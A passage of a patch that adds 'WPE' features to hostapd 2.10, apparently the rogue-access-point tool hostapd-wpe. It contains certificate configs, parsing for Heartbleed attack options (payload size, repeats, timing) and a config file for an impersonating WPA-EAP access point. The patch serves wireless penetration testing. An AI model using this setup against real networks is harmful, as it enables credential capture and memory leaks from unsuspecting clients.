URI:http://www.example.org/example_ca.crl + +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ req ] +prompt = no +distinguished_name = certificate_authority +default_bits = 2048 +input_password = whatever +output_password = whatever +x509_extensions = v3_ca + +[certificate_authority] +countryName = FR +stateOrProvinceName = Radius +localityName = Somewhere +organizationName = Example Inc. +emailAddress = admin@example.org +commonName = "Example Certificate Authority" + +[v3_ca] +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid:always,issuer:always +basicConstraints = critical,CA:true +crlDistributionPoints = URI:http://www.example.org/example_ca.crl + diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/client.cnf hostapd-2.10-wpe/hostapd/certs/client.cnf --- hostapd-2.10/hostapd/certs/client.cnf 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/client.cnf 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,53 @@ +[ ca ] +default_ca = CA_default + +[ CA_default ] +dir = ./ +certs = $dir +crl_dir = $dir/crl +database = $dir/index.txt +new_certs_dir = $dir +certificate = $dir/ca.pem +serial = $dir/serial +crl = $dir/crl.pem +private_key = $dir/ca.key +RANDFILE = $dir/.rand +name_opt = ca_default +cert_opt = ca_default +default_days = 365 +default_crl_days = 364 +default_md = sha256 +preserve = no +policy = policy_match + +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ req ] +prompt = no +distinguished_name = client +default_bits = 2048 +input_password = whatever +output_password = whatever + +[client] +countryName = FR +stateOrProvinceName = Radius +localityName = Somewhere +organizationName = Example Inc. +emailAddress = user@example.org +commonName = user@example.org diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/demoCA/cacert.pem hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem --- hostapd-2.10/hostapd/certs/demoCA/cacert.pem 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,22 @@ +-----BEGIN CERTIFICATE----- +MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex +ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT +DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll +bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv +bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD +QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE +ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs +aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu +Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/ +9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx +58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy +UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF +cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB +paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH +EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j +YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B +CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3 +DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh +UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT +L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF +-----END CERTIFICATE----- diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/server.cnf hostapd-2.10-wpe/hostapd/certs/server.cnf --- hostapd-2.10/hostapd/certs/server.cnf 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/server.cnf 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,54 @@ +[ ca ] +default_ca = CA_default + +[ CA_default ] +dir = ./ +certs = $dir +crl_dir = $dir/crl +database = $dir/index.txt +new_certs_dir = $dir +certificate = $dir/server.pem +serial = $dir/serial +crl = $dir/crl.pem +private_key = $dir/server.key +RANDFILE = $dir/.rand +name_opt = ca_default +cert_opt = ca_default +default_days = 60 +default_crl_days = 30 +default_md = sha256 +preserve = no +policy = policy_match + +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ req ] +prompt = no +distinguished_name = server +default_bits = 2048 +input_password = whatever +output_password = whatever + +[server] +countryName = FR +stateOrProvinceName = Radius +localityName = Somewhere +organizationName = Example Inc. +emailAddress = admin@example.org +commonName = "Example Server Certificate" + diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/xpextensions hostapd-2.10-wpe/hostapd/certs/xpextensions --- hostapd-2.10/hostapd/certs/xpextensions 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/xpextensions 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,24 @@ +# +# File containing the OIDs required for Windows. +# +# http://support.microsoft.com/kb/814394/en-us +# +[ xpclient_ext] +extendedKeyUsage = 1.3.6.1.5.5.7.3.2 +crlDistributionPoints = URI:http://www.example.com/example_ca.crl + +[ xpserver_ext] +extendedKeyUsage = 1.3.6.1.5.5.7.3.1 +crlDistributionPoints = URI:http://www.example.com/example_ca.crl + +# +# Add this to the PKCS#7 keybag attributes holding the client's private key +# for machine authentication. +# +# the presence of this OID tells Windows XP that the cert is intended +# for use by the computer itself, and not by an end-user. +# +# The other solution is to use Microsoft's web certificate server +# to generate these certs. +# +# 1.3.6.1.4.1.311.17.2 diff '--color=auto' -rupN hostapd-2.10/hostapd/config_file.c hostapd-2.10-wpe/hostapd/config_file.c --- hostapd-2.10/hostapd/config_file.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/config_file.c 2022-02-21 23:29:30.100000000 +0000 @@ -24,7 +24,7 @@ #include "ap/wpa_auth.h" #include "ap/ap_config.h" #include "config_file.h" - +#include "wpe/wpe.h" #ifndef CONFIG_NO_VLAN static int hostapd_config_read_vlan_file(struct hostapd_bss_config *bss, @@ -2493,6 +2493,22 @@ static int hostapd_config_fill(struct ho } bss->eapol_version = eapol_version; wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version); +#if OPENSSL_VERSION_NUMBER < 0x10100000L + } else if (os_strcmp(buf, "wpe_logfile") == 0) { + wpe_conf.wpe_logfile = os_strdup(pos); + } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) { + wpe_conf.wpe_hb_send_before_handshake = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) { + wpe_conf.wpe_hb_send_before_appdata = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) { + wpe_conf.wpe_hb_send_after_appdata = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) { + wpe_conf.wpe_hb_payload_size = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) { + wpe_conf.wpe_hb_num_repeats = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) { + wpe_conf.wpe_hb_num_tries = atoi(pos); +#endif /* #if OPENSSL_VERSION_NUMBER < 0x10100000L */ #ifdef EAP_SERVER } else if (os_strcmp(buf, "eap_authenticator") == 0) { bss->eap_server = atoi(pos); diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.conf hostapd-2.10-wpe/hostapd/hostapd-wpe.conf --- hostapd-2.10/hostapd/hostapd-wpe.conf 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/hostapd-wpe.conf 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,2042 @@ +# Configuration file for hostapd-wpe + +# Interface - Probably wlan0 for 802.11, eth0 for wired +interface=wlan0 + +# May have to change these depending on build location +eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user +ca_cert=/etc/hostapd-wpe/ca.pem +server_cert=/etc/hostapd-wpe/server.pem +private_key=/etc/hostapd-wpe/server.key +private_key_passwd=whatever +dh_file=/etc/hostapd-wpe/dh + +# 802.11 Options +ssid=hostapd-wpe +channel=1 + +# WPE Options - Dont need to change these to make it all work +# +# wpe_logfile=somefile # (Default: ./hostapd-wpe.log) +# wpe_hb_send_before_handshake=0 # Heartbleed True/False (Default: 1) +# wpe_hb_send_before_appdata=0 # Heartbleed True/False (Default: 0) +# wpe_hb_send_after_appdata=0 # Heartbleed True/False (Default: 0) +# wpe_hb_payload_size=0 # Heartbleed 0-65535 (Default: 50000) +# wpe_hb_num_repeats=0 # Heartbleed 0-65535 (Default: 1) +# wpe_hb_num_tries=0 # Heartbleed 0-65535 (Default: 1) + + +# Dont mess with unless you know what you're doing +eap_server=1 +eap_fast_a_id=101112131415161718191a1b1c1d1e1f +eap_fast_a_id_info=hostapd-wpe +eap_fast_prov=3 +ieee8021x=1 +pac_key_lifetime=604800 +pac_key_refresh_time=86400 +pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f +wpa=2 +wpa_key_mgmt=WPA-EAP +wpa_pairwise=CCMP +rsn_pairwise=CCMP + +############################################################################## +# Everything below this line is pretty much the standard hostapd.conf +############################################################################### + +##### hostapd configuration file ############################################## +# Empty lines and lines starting with # are ignored + +# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for +# management frames with the Host AP driver); wlan0 with many nl80211 drivers +# Note: This attribute can be overridden by the values supplied with the '-i' +# command line parameter. +#interface=wlan0 + +# In case of atheros and nl80211 driver interfaces, an additional +# configuration parameter, bridge, may be used to notify hostapd if the +# interface is included in a bridge. This parameter is not used with Host AP +# driver. If the bridge parameter is not set, the drivers will automatically +# figure out the bridge interface (assuming sysfs is enabled and mounted to +# /sys) and this parameter may not be needed. +# +# For nl80211, this parameter can be used to request the AP interface to be +# added to the bridge automatically (brctl may refuse to do this before hostapd +# has been started to change the interface mode). If needed, the bridge +# interface is also created. +#bridge=br0 + +# Driver interface type (hostap/wired/none/nl80211/bsd); +# default: hostap). nl80211 is used with all Linux mac80211 drivers. +# Use driver=none if building hostapd as a standalone RADIUS server that does +# not control any wireless/wired driver. +# driver=hostap + +# Driver interface parameters (mainly for development testing use) +# driver_params= + +# hostapd event logger configuration +# +# Two output method: syslog and stdout (only usable if not forking to +# background). +# +# Module bitfield (ORed bitfield of modules that will be logged; -1 = all +# modules): +# bit 0 (1) = IEEE 802.11 +# bit 1 (2) = IEEE 802.1X +# bit 2 (4) = RADIUS +# bit 3 (8) = WPA +# bit 4 (16) = driver interface +# bit 5 (32) = IAPP +# bit 6 (64) = MLME +# +# Levels (minimum value for logged events): +# 0 = verbose debugging +# 1 = debugging +# 2 = informational messages +# 3 = notification +# 4 = warning +# +logger_syslog=-1 +logger_syslog_level=2 +logger_stdout=-1 +logger_stdout_level=2 + +# Interface for separate control program. If this is specified, hostapd +# will create this directory and a UNIX domain socket for listening to requests +# from external programs (CLI/GUI, etc.) for status information and +# configuration. The socket file will be named based on the interface name, so +# multiple hostapd processes/interfaces can be run at the same time if more +# than one interface is used. +# /var/run/hostapd is the recommended directory for sockets and by default, +# hostapd_cli will use it when trying to connect with hostapd. +ctrl_interface=/var/run/hostapd + +# Access control for the control interface can be configured by setting the +# directory to allow only members of a group to use sockets. This way, it is +# possible to run hostapd as root (since it needs to change network +# configuration and open raw sockets) and still allow GUI/CLI components to be +# run as non-root users. However, since the control interface can be used to +# change the network configuration, this access needs to be protected in many +# cases. By default, hostapd is configured to use gid 0 (root). If you +# want to allow non-root users to use the contron interface, add a new group +# and change this value to match with that group. Add users that should have +# control interface access to this group. +# +# This variable can be a group name or gid. +#ctrl_interface_group=wheel +ctrl_interface_group=0 + + +##### IEEE 802.11 related configuration ####################################### + +# SSID to be used in IEEE 802.11 management frames +#ssid=test +# Alternative formats for configuring SSID +# (double quoted string, hexdump, printf-escaped string) +#ssid2="test" +#ssid2=74657374 +#ssid2=P"hello\nthere" + +# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding +#utf8_ssid=1 + +# Country code (ISO/IEC 3166-1). Used to set regulatory domain. +# Set as needed to indicate country in which device is operating. +# This can limit available channels and transmit power. +#country_code=US + +# Enable IEEE 802.11d. This advertises the country_code and the set of allowed +# channels and transmit power levels based on the regulatory limits. The +# country_code setting must be configured with the correct country for +# IEEE 802.11d functions. +# (default: 0 = disabled) +#ieee80211d=1 + +# Enable IEEE 802.11h. This enables radar detection and DFS support if +# available. DFS support is required on outdoor 5 GHz channels in most countries +# of the world. This can be used only with ieee80211d=1. +# (default: 0 = disabled) +#ieee80211h=1 + +# Add Power Constraint element to Beacon and Probe Response frames +# This config option adds Power Constraint element when applicable and Country +# element is added. Power Constraint element is required by Transmit Power +# Control. This can be used only with ieee80211d=1. +# Valid values are 0..255. +#local_pwr_constraint=3 + +# Set Spectrum Management subfield in the Capability Information field. +# This config option forces the Spectrum Management bit to be set. When this +# option is not set, the value of the Spectrum Management bit depends on whether +# DFS or TPC is required by regulatory authorities. This can be used only with +# ieee80211d=1 and local_pwr_constraint configured. +#spectrum_mgmt_required=1 + +# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz), +# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used +# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this +# needs to be set to hw_mode=a. When using ACS (see channel parameter), a +# special value "any" can be used to indicate that any support band can be used. +# This special case is currently supported only with drivers with which +# offloaded ACS is used. +# Default: IEEE 802.11b +hw_mode=g + +# Channel number (IEEE 802.11) +# (default: 0, i.e., not set) +# Please note that some drivers do not use this value from hostapd and the +# channel will need to be configured separately with iwconfig. +# +# If CONFIG_ACS build option is enabled, the channel can be selected +# automatically at run time by setting channel=acs_survey or channel=0, both of +# which will enable the ACS survey based algorithm. +#channel=1 + +# ACS tuning - Automatic Channel Selection +# See: http://wireless.kernel.org/en/users/Documentation/acs +# +# You can customize the ACS survey algorithm with following variables: +# +# acs_num_scans requirement is 1..100 - number of scans to be performed that +# are used to trigger survey data gathering of an underlying device driver. +# Scans are passive and typically take a little over 100ms (depending on the +# driver) on each available channel for given hw_mode. Increasing this value +# means sacrificing startup time and gathering more data wrt channel +# interference that may help choosing a better channel. This can also help fine +# tune the ACS scan time in case a driver has different scan dwell times. +# +# acs_chan_bias is a space-separated list of : pairs. It can be +# used to increase (or decrease) the likelihood of a specific channel to be +# selected by the ACS algorithm. The total interference factor for each channel +# gets multiplied by the specified bias value before finding the channel with +# the lowest value. In other words, values between 0.0 and 1.0 can be used to +# make a channel more likely to be picked while values larger than 1.0 make the +# specified channel less likely to be picked. This can be used, e.g., to prefer +# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default +# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified). +# +# Defaults: +#acs_num_scans=5 +#acs_chan_bias=1:0.8 6:0.8 11:0.8 + +# Channel list restriction. This option allows hostapd to select one of the +# provided channels when a channel should be automatically selected. +# Channel list can be provided as range using hyphen ('-') or individual +# channels can be specified by space (' ') separated values +# Default: all channels allowed in selected hw_mode +#chanlist=100 104 108 112 116 +#chanlist=1 6 11-13 + +# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535) +beacon_int=100 + +# DTIM (delivery traffic information message) period (range 1..255): +# number of beacons between DTIMs (1 = every beacon includes DTIM element) +# (default: 2) +dtim_period=2 + +# Maximum number of stations allowed in station table. New stations will be +# rejected after the station table is full. IEEE 802.11 has a limit of 2007 +# different association IDs, so this number should not be larger than that. +# (default: 2007) +max_num_sta=255 + +# RTS/CTS threshold; -1 = disabled (default); range -1..65535 +# If this field is not included in hostapd.conf, hostapd will not control +# RTS threshold and 'iwconfig wlan# rts ' can be used to set it. +rts_threshold=-1 + +# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346 +# If this field is not included in hostapd.conf, hostapd will not control +# fragmentation threshold and 'iwconfig wlan# frag ' can be used to set +# it. +fragm_threshold=-1 + +# Rate configuration +# Default is to enable all rates supported by the hardware. This configuration +# item allows this list be filtered so that only the listed rates will be left +# in the list. If the list is empty, all rates are used. This list can have +# entries that are not in the list of rates the hardware supports (such entries +# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110. +# If this item is present, at least one rate have to be matching with the rates +# hardware supports. +# default: use the most common supported rate setting for the selected +# hw_mode (i.e., this line can be removed from configuration file in most +# cases) +#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540 + +# Basic rate set configuration +# List of rates (in 100 kbps) that are included in the basic rate set. +# If this item is not included, usually reasonable default set is used. +#basic_rates=10 20 +#basic_rates=10 20 55 110 +#basic_rates=60 120 240 + +# Short Preamble +# This parameter can be used to enable optional use of short preamble for +# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance. +# This applies only to IEEE 802.11b-compatible networks and this should only be +# enabled if the local hardware supports use of short preamble. If any of the +# associated STAs do not support short preamble, use of short preamble will be +# disabled (and enabled when such STAs disassociate) dynamically. +# 0 = do not allow use of short preamble (default) +# 1 = allow use of short preamble +#preamble=1 + +# Station MAC address -based authentication +# Please note that this kind of access control requires a driver that uses +# hostapd to take care of management frame processing and as such, this can be +# used with driver=hostap or driver=nl80211, but not with driver=atheros. +# 0 = accept unless in deny list +# 1 = deny unless in accept list +# 2 = use external RADIUS server (accept/deny lists are searched first) +macaddr_acl=0 + +# Accept/deny lists are read from separate files (containing list of +# MAC addresses, one per line). Use absolute path name to make sure that the +# files can be read on SIGHUP configuration reloads. +#accept_mac_file=/etc/hostapd.accept +#deny_mac_file=/etc/hostapd.deny + +# IEEE 802.11 specifies two authentication algorithms. hostapd can be +# configured to allow both of these or only one. Open system authentication +# should be used with IEEE 802.1X. +# Bit fields of allowed authentication algorithms: +# bit 0 = Open System Authentication +# bit 1 = Shared Key Authentication (requires WEP) +auth_algs=3 + +# Send empty SSID in beacons and ignore probe request frames that do not +# specify full SSID, i.e., require stations to know SSID. +# default: disabled (0) +# 1 = send empty (length=0) SSID in beacon and ignore probe request for +# broadcast SSID +# 2 = clear SSID (ASCII 0), but keep the original length (this may be required +# with some clients that do not support empty SSID) and ignore probe +# requests for broadcast SSID +ignore_broadcast_ssid=0 + +# Do not reply to broadcast Probe Request frames from unassociated STA if there +# is no room for additional stations (max_num_sta). This can be used to +# discourage a STA from trying to associate with this AP if the association +# would be rejected due to maximum STA limit. +# Default: 0 (disabled) +#no_probe_resp_if_max_sta=0 + +# Additional vendor specific elements for Beacon and Probe Response frames +# This parameter can be used to add additional vendor specific element(s) into +# the end of the Beacon and Probe Response frames. The format for these +# element(s) is a hexdump of the raw information elements (id+len+payload for +# one or more elements) +#vendor_elements=dd0411223301 + +# Additional vendor specific elements for (Re)Association Response frames +# This parameter can be used to add additional vendor specific element(s) into +# the end of the (Re)Association Response frames. The format for these +# element(s) is a hexdump of the raw information elements (id+len+payload for +# one or more elements) +#assocresp_elements=dd0411223301 + +# TX queue parameters (EDCF / bursting) +# tx_queue__ +# queues: data0, data1, data2, data3, after_beacon, beacon +# (data0 is the highest priority queue) +# parameters: +# aifs: AIFS (default 2) +# cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, +# 16383, 32767) +# cwmax: cwMax (same values as cwMin, cwMax >= cwMin) +# burst: maximum length (in milliseconds with precision of up to 0.1 ms) for +# bursting +# +# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e): +# These parameters are used by the access point when transmitting frames +# to the clients. +# +# Low priority / AC_BK = background +#tx_queue_data3_aifs=7 +#tx_queue_data3_cwmin=15 +#tx_queue_data3_cwmax=1023 +#tx_queue_data3_burst=0 +# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0 +# +# Normal priority / AC_BE = best effort +#tx_queue_data2_aifs=3 +#tx_queue_data2_cwmin=15 +#tx_queue_data2_cwmax=63 +#tx_queue_data2_burst=0 +# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0 +# +# High priority / AC_VI = video +#tx_queue_data1_aifs=1 +#tx_queue_data1_cwmin=7 +#tx_queue_data1_cwmax=15 +#tx_queue_data1_burst=3.0 +# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0 +# +# Highest priority / AC_VO = voice +#tx_queue_data0_aifs=1 +#tx_queue_data0_cwmin=3 +#tx_queue_data0_cwmax=7 +#tx_queue_data0_burst=1.5 +# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3 + +# 802.1D Tag (= UP) to AC mappings +# WMM specifies following mapping of data frames to different ACs. This mapping +# can be configured using Linux QoS/tc and sch_pktpri.o module. +# 802.1D Tag 802.1D Designation Access Category WMM Designation +# 1 BK AC_BK Background +# 2 - AC_BK Background +# 0 BE AC_BE Best Effort +# 3 EE AC_BE Best Effort +# 4 CL AC_VI Video +# 5 VI AC_VI Video +# 6 VO AC_VO Voice +# 7 NC AC_VO Voice +# Data frames with no priority information: AC_BE +# Management frames: AC_VO +# PS-Poll frames: AC_BE + +# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e): +# for 802.11a or 802.11g networks +# These parameters are sent to WMM clients when they associate. +# The parameters will be used by WMM clients for frames transmitted to the +# access point. +# +# note - txop_limit is in units of 32microseconds +# note - acm is admission control mandatory flag. 0 = admission control not +# required, 1 = mandatory +# note - Here cwMin and cmMax are in exponent form. The actual cw value used +# will be (2^n)-1 where n is the value given here. The allowed range for these +# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin. +# +wmm_enabled=1 +# +# WMM-PS Unscheduled Automatic Power Save Delivery [U-APSD] +# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver) +#uapsd_advertisement_enabled=1 +# +# Low priority / AC_BK = background +wmm_ac_bk_cwmin=4 +wmm_ac_bk_cwmax=10 +wmm_ac_bk_aifs=7 +wmm_ac_bk_txop_limit=0 +wmm_ac_bk_acm=0 +# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10 +# +# Normal priority / AC_BE = best effort +wmm_ac_be_aifs=3 +wmm_ac_be_cwmin=4 +wmm_ac_be_cwmax=10 +wmm_ac_be_txop_limit=0 +wmm_ac_be_acm=0 +# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7 +# +# High priority / AC_VI = video +wmm_ac_vi_aifs=2 +wmm_ac_vi_cwmin=3 +wmm_ac_vi_cwmax=4 +wmm_ac_vi_txop_limit=94 +wmm_ac_vi_acm=0 +# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188 +# +# Highest priority / AC_VO = voice +wmm_ac_vo_aifs=2 +wmm_ac_vo_cwmin=2 +wmm_ac_vo_cwmax=3 +wmm_ac_vo_txop_limit=47 +wmm_ac_vo_acm=0 +# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102 + +# Static WEP key configuration +# +# The key number to use when transmitting. +# It must be between 0 and 3, and the corresponding key must be set. +# default: not set +#wep_default_key=0 +# The WEP keys to use. +# A key may be a quoted string or unquoted hexadecimal digits. +# The key length should be 5, 13, or 16 characters, or 10, 26, or 32 +# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or +# 128-bit (152-bit) WEP is used. +# Only the default key must be supplied; the others are optional. +# default: not set +#wep_key0=123456789a +#wep_key1="vwxyz" +#wep_key2=0102030405060708090a0b0c0d +#wep_key3=".2.4.6.8.0.23" + +# Station inactivity limit +# +# If a station does not send anything in ap_max_inactivity seconds, an +# empty data frame is sent to it in order to verify whether it is +# still in range. If this frame is not ACKed, the station will be +# disassociated and then deauthenticated. This feature is used to +# clear station table of old entries when the STAs move out of the +# range. +# +# The station can associate again with the AP if it is still in range; +# this inactivity poll is just used as a nicer way of verifying +# inactivity; i.e., client will not report broken connection because +# disassociation frame is not sent immediately without first polling +# the STA with a data frame. +# default: 300 (i.e., 5 minutes) +#ap_max_inactivity=300 +# +# The inactivity polling can be disabled to disconnect stations based on +# inactivity timeout so that idle stations are more likely to be disconnected +# even if they are still in range of the AP. This can be done by setting +# skip_inactivity_poll to 1 (default 0). +#skip_inactivity_poll=0 + +# Disassociate stations based on excessive transmission failures or other +# indications of connection loss. This depends on the driver capabilities and +# may not be available with all drivers. +#disassoc_low_ack=1 + +# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to +# remain asleep). Default: 65535 (no limit apart from field size) +#max_listen_interval=100 + +# WDS (4-address frame) mode with per-station virtual interfaces +# (only supported with driver=nl80211) +# This mode allows associated stations to use 4-address frames to allow layer 2 +# bridging to be used. +#wds_sta=1 + +# If bridge parameter is set, the WDS STA interface will be added to the same +# bridge by default. This can be overridden with the wds_bridge parameter to +# use a separate bridge. +#wds_bridge=wds-br0 + +# Start the AP with beaconing disabled by default. +#start_disabled=0 + +# Client isolation can be used to prevent low-level bridging of frames between +# associated stations in the BSS. By default, this bridging is allowed. +#ap_isolate=1 + +# BSS Load update period (in BUs) +# This field is used to enable and configure adding a BSS Load element into +# Beacon and Probe Response frames. +#bss_load_update_period=50 + +# Fixed BSS Load value for testing purposes +# This field can be used to configure hostapd to add a fixed BSS Load element +# into Beacon and Probe Response frames for testing purposes. The format is +# :: +#bss_load_test=12:80:20000 + +##### IEEE 802.11n related configuration ###################################### + +# ieee80211n: Whether IEEE 802.11n (HT) is enabled +# 0 = disabled (default) +# 1 = enabled +# Note: You will also need to enable WMM for full HT functionality. +# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band. +#ieee80211n=1 + +# ht_capab: HT capabilities (list of flags) +# LDPC coding capability: [LDPC] = supported +# Supported channel width set: [HT40-] = both 20 MHz and 40 MHz with secondary +# channel below the primary channel; [HT40+] = both 20 MHz and 40 MHz +# with secondary channel above the primary channel +# (20 MHz only if neither is set) +# Note: There are limits on which channels can be used with HT40- and +# HT40+. Following table shows the channels that may be available for +# HT40- and HT40+ use per IEEE 802.11n Annex J: +# freq HT40- HT40+ +# 2.4 GHz 5-13 1-7 (1-9 in Europe/Japan) +# 5 GHz 40,48,56,64 36,44,52,60 +# (depending on the location, not all of these channels may be available +# for use) +# Please note that 40 MHz channels may switch their primary and secondary +# channels if needed or creation of 40 MHz channel maybe rejected based +# on overlapping BSSes. These changes are done automatically when hostapd +# is setting up the 40 MHz channel. +# Spatial Multiplexing (SM) Power Save: [SMPS-STATIC] or [SMPS-DYNAMIC] +# (SMPS disabled if neither is set) +# HT-greenfield: [GF] (disabled if not set) +# Short GI for 20 MHz: [SHORT-GI-20] (disabled if not set) +# Short GI for 40 MHz: [SHORT-GI-40] (disabled if not set) +# Tx STBC: [TX-STBC] (disabled if not set) +# Rx STBC: [RX-STBC1] (one spatial stream), [RX-STBC12] (one or two spatial +# streams), or [RX-STBC123] (one, two, or three spatial streams); Rx STBC +# disabled if none of these set +# HT-delayed Block Ack: [DELAYED-BA] (disabled if not set) +# Maximum A-MSDU length: [MAX-AMSDU-7935] for 7935 octets (3839 octets if not +# set) +# DSSS/CCK Mode in 40 MHz: [DSSS_CCK-40] = allowed (not allowed if not set) +# 40 MHz intolerant [40-INTOLERANT] (not advertised if not set) +# L-SIG TXOP protection support: [LSIG-TXOP-PROT] (disabled if not set) +#ht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40] + +# Require stations to support HT PHY (reject association if they do not) +#require_ht=1 + +# If set non-zero, require stations to perform scans of overlapping +# channels to test for stations which would be affected by 40 MHz traffic. +# This parameter sets the interval in seconds between these scans. Setting this +# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if +# no co-existence issues with neighboring devices are found. +#obss_interval=0 + +##### IEEE 802.11ac related configuration ##################################### + +# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled +# 0 = disabled (default) +# 1 = enabled +# Note: You will also need to enable WMM for full VHT functionality. +# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT. +#ieee80211ac=1 + +# vht_capab: VHT capabilities (list of flags) +# +# vht_max_mpdu_len: [MAX-MPDU-7991] [MAX-MPDU-11454] +# Indicates maximum MPDU length +# 0 = 3895 octets 